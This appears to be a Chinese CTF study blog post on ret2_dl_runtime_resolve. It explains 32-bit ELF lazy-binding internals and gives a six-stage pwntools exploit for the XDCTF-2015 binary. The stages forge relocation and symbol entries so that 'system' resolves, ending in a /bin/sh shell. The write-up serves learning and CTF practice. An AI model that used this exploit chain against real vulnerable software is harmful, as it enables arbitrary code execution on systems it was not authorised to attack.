0%

ret2_dl_runtime_resolve学习

最近对于ret2_dl_runtime_resolve进行了初步的学习,故写此博客作为学习记录。

测试程序write.c

1
2
3
4
5
6
#include<stdio.h>
int main(){
char buf[]="1p0ch\n";
write(1,buf,strlen(buf));
}
//gcc write.c -m32 -z lazy -z noexecstack -no-pie -fno-stack-protector -o write

查看文件的elf













.dynamic 0x8049f14

文件结构

1
2
3
4
5
6
7
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

其中DT_STRTAB, DT_SYMTAB, DT_JMPREL分别指向.dynstr, .dynsym, .rel.plt节段,所以我们接下来对它分析

.dynstr 0x804822c

文件结构








开始为0
然后包含动态链接所需的字符串(导入函数名等)(以\x00结尾)

.dynsym 0x80481cc

文件结构

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym

注意两个字段:
st_name:符号名相对.dynstr起始的偏移(offset byte_804822c)
st_info:对于导入函数符号此处为0x12
(对于导入函数,其他处为0)

.rel.plt 0x80482b4

文件结构

1
2
3
4
5
typedef struct
{
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;

下面对write函数调用进行分析

got表

write函数调用




汇编码下边的是write的三个参数
对plt表内容进行反编译




这个0x804a014则是write的got地址

查看got内容



这里的0x8048326是write的plt表的下一条指令

看一下第三条指令跳转位置指令

使用x/20wx 查看(w是四字节意思)
这里0x804a004是got表开头的位置
0x804a004:link_map=(GOT+4),此处包含链接器的标识信息
0x804a008:_dl_runtime_resolve函数地址->
(GOT+8)->GOT[2],动态链接器中的入口点

存放link_map

前五个存放对应的link_map的结构, 第三个的地方存放是.dynamic.的地址0x8049f14

• 注:
对got/link_map理解
.got
这是我们常说的GOT, 即Global Offset Table, 全局偏移表. 这是链接器在执行链接时
实际上要填充的部分, 保存了所有外部符号的地址信息.
不过值得注意的是, 在i386架构下, 除了每个函数占用一个GOT表项外,GOT表项还保留了
3个公共表项, 每项32位(4字节), 保存在前三个位置, 分别是:
• got[0]: 本ELF动态段(.dynamic段)的装载地址
• got1: 本ELF的link_map数据结构描述符地址
• got2: _dl_runtime_resolve函数的地址
其中, link_map数据结构的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct link_map
{
/* Shared library's load address. */
ElfW(Addr) l_addr;
/* Pointer to library's name in the string table. */
char *l_name;
/*
Dynamic section of the shared object.
Includes dynamic linking info etc.
Not interesting to us.
*/
ElfW(Dyn) *l_ld;
/* Pointer to previous and next link_map node. */
struct link_map *l_next, *l_prev;
};

其中_dl_runtime_resolve结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
_dl_runtime_resolve:
cfi_adjust_cfa_offset (8)
_CET_ENDBR
pushl %eax # Preserve registers otherwise clobbered.
cfi_adjust_cfa_offset (4)
pushl %ecx
cfi_adjust_cfa_offset (4)
pushl %edx
cfi_adjust_cfa_offset (4)
movl 16(%esp), %edx # Copy args pushed by PLT in register. Note
movl 12(%esp), %eax # that `fixup' takes its parameters in regs.
call _dl_fixup # Call resolver.
popl %edx # Get register content back.
cfi_adjust_cfa_offset (-4)
movl (%esp), %ecx
movl %eax, (%esp) # Store the function address.
movl 4(%esp), %eax
ret $12 # Jump to function address.
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve

从注释里也可以看出来, 该函数实际上做了两件事:
• 1)解析出write的地址并将值填入.got.plt中.
• 2)跳转执行真正的write函数.
第一次调用write,实际上相当于调用了_dl_runtime_resolve((link_map *)m,0x10)【_dl_runtime_resolve(link_map, reloc_arg)】
这里的link_map提供了运行时的必要信息,0x10则是write函数的偏移(就是在write@plt中的push 0x10)
x/10i 查看汇编码

进一步查看_dl_runtime_resolve汇编代码

这里调用了_dl_fixup,并且通过寄存器传参

对_dl_fixup分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

即:
首先通过link_map访问.dynamic节段,并获得.dynstr, .dynsym, .rel.plt节段的地址
.rel.plt + reloc_arg(第二个参数(导入函数在.rel.plt中的偏移))求出对应函数重定位表项Elf32_Rel的指针
利用此指针得到对应函数的r_info,r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针
利用Elf32_Sym的指针得到对应的st_name,.dynstr + st_name即为符号名字符串指针
在动态链接库查找这个函数,并且把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针
赋值给GOT表后,把控制权返还给write
利用思路
1.控制eip为PLT[0]的地址
2.构造传递reloc_arg(第二个)参数
3.控制参数的大小,使rel的位置落在可控地址内
4.伪造rel的内容,使dynsym落在可控地址内
5.伪造dynsym的内容(主要是st_name),使name落在可控地址内
6.伪造name为任意库函数(一般获取shell,使用”system”)
改写section
可以改写.dynamic的DT_STRTAB
或者直接改写.dynstr
使最后传入_dl_runtime_resolve函数的字符串(函数名)为我们改写后的字符串(我们需要调用函数的库函数名),而后成功运行函数(一般构造为”system”来获取shell)

下面以XDCTF-2015为例





先构造栈迁移,逐步构造完整rop

stage 1

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug", arch="i386", os="linux")
p=process('./main')
#p=remote('node3.buuoj.cn',26709)
elf=ELF('./main')
read_plt=elf.plt['read']
write_plt=elf.plt['write']
leave_ret=0x08048458 # leave ; ret
pop_ebp=0x0804861b # pop ebp ; ret
pop_ebx_esi_edi_ebp=0x08048618 #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
bss=0x804a040
stack_size = 0x800
stack=bss+stack_size

p.recvuntil('Welcome to XDCTF2015~!')

offset=112
payload='a'*offset+p32(read_plt)
payload+=p32(pop_ebx_esi_edi_ebp)#pop l ebp
payload += p32(0)
payload += p32(stack)
payload += p32(100)
payload += p32(stack)
payload += p32(leave_ret)
p.sendline(payload)

cmd = "/bin/sh"

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt)
payload2 += 'AAAA' #返回地址
#三个参数
payload2 += p32(1)
payload2 += p32(stack + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'

p.sendline(payload2)
p.recv()
p.interactive()

上面可以打印’/bin/sh’

stage 2

控制eip返回PLT[0],要带上write的index_offset

1
2
3
4
5
6
7
8
9
10
11
12
13
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20 # write's offset

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA' #返回地址
#三个参数
payload2 += p32(1)
payload2 += p32(stack + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'

同样打印’/bin/sh’

stage 3

这次控制index_offset,使其指向我们构造的fake_reloc(之前的0x20就是0x350-0x330)





伪造的时候注意第一个是got地址,第二个是relo_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt=0x8048330
relo_info=0x607
write_got=elf.got['write']
fake_relo=p32(write_got)+p32(relo_info) #got地址加relo_info
fake_offset = (stack + 28) - rel_plt #伪造index偏移

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(plt_0)
payload2 += p32(fake_offset)
payload2 += 'AAAA' #返回地址
#三个参数
payload2 += p32(1)
payload2 += p32(stack + 80)
payload2 += p32(len(cmd))
payload2 += fake_relo #这个位置恰好是+28位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'

仍然成功打印

stage 4

这一次构造fake_sym,使其指向我们控制的st_name

stage3 中,我们控制了重定位表项,但是重定位表项的内容与 write 原来的重定位表项一致,这次,我们将构造属于我们自己的重定位表项,并且伪造该表项对应的符号。首先,我们根据 write 的重定位表项的 r_info=0x607 可以知道,write 对应的符号在符号表的下标为
0x607>>8=0x6.
因此,我们知道 write 对应的符号地址为 0x8048238。

注意这里栈要抬高, 用0x800,防止覆盖其他地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt=0x8048330

dynsym = 0x080481d8
dynstr = 0x08048278

write_got=elf.got['write']
fake_offset = (stack + 28) - rel_plt

fake_sym_addr = stack + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align #加上 需要对齐的偏移
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7 #最后的一位都是0x7,要左移8位
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(plt_0)
payload2 += p32(fake_offset)
payload2 += 'AAAA' #返回地址
#三个参数
payload2 += p32(1)
payload2 += p32(stack + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置 伪造的symbols
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'

成功打印

stage 5

把st_name指向输入的字符串”write”
st_name:符号名相对.dynstr起始的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt=0x8048330

dynsym = 0x080481d8
dynstr = 0x08048278

write_got=elf.got['write']
fake_offset = (stack + 28) - rel_plt

fake_sym_addr = stack + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10,就是栈上我们输入字符串的位置
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #0x10

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(plt_0)
payload2 += p32(fake_offset)
payload2 += 'AAAA' #返回地址
#三个参数
payload2 += p32(1)
payload2 += p32(stack + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'write\x00' #st_name指向
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'

成功打印

stage 6

替换write为system,并修改system的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt=0x8048330

dynsym = 0x080481d8
dynstr = 0x08048278

write_got=elf.got['write']
fake_offset = (stack + 28) - rel_plt

fake_sym_addr = stack + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #0x10

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(plt_0)
payload2 += p32(fake_offset)
payload2 += 'AAAA' #返回地址
#三个参数
payload2 += p32(stack+80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'system\x00' #st_name指向
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'

成功getshell
至此基本掌握ret2_dl_runtime_resolve
应用场景:应为没有puts等函数泄露libc基址的时候
对于六十四位程序的利用过程会有所不同,开启不同程度保护的利用方法也会区别,但是这里就仅讲述一下32位的利用过程
参考链接:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#stage-4
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://www.jianshu.com/p/e13e1dce095d
https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html

好饿啊,早知道不学安全了